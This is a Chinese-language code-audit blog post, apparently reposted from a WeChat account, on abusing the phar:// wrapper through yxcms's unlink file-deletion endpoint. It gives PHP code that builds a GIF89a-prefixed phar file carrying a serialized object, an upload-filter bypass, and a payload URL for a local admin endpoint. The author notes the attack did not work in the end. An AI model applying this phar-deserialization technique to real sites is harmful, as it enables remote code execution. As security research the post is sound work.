phar伪协议和unlink配合造成反序列化漏洞。
前言
今天闲来无事看了看CTF,刚好看到了一个大佬的有关phar伪协议的文章,一开始对phar本来就是一知半解,然后看完大佬的文章后,我发现unlink这个地方可以执行phar伪协议,我就突然想起来前段时间有挖到一个yxcms的一个unlink任意文件删除,所以便想试一下能不能成功利用。
挖掘思路
因为phar伪协议也可以解压图片,所以我们可以找一个图片的上传点。
在这里可以上传gif,jpg,png等文件。构造如下代码。
<?php
//假装有这个类
class test{
public function __destruct(){
phpinfo();
}
}
$test=new test();
echo serialize($test);
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetaData($test);
$phar->addFromString("text1.txt","test");
$phar->stopBuffering();
?>
生成的phar文件改为.jpg发现上传解析错误,
也就是说网站不仅对图片后缀进行了检验。
应该是会把我们上传的内容进行解析,最后重新生成一个图片。那这里也好绕过,我们只要在文件前头加一个GIF89a就行了。
<?php
class test{
public function __destruct(){
phpinfo();
}
}
$test=new test();
echo serialize($test);
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar->setMetaData($test);
$phar->addFromString("text1.txt","test");
$phar->stopBuffering();
?>
//playload:http://127.0.0.1/yx/index.php?r=admin/files/del&fname=phar://upload/pages/image/20220907/thumb_1662521235.gif/
后记
其实这里只是说了一个利用思路,因为后面我才发现参数前面被拼接了其他东西而且无法绕过。如果要成功执行得注释掉这俩行。简单来说就是啥也不是
原文始发于微信公众号(珠天PearlSky):代码审计集合-2
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论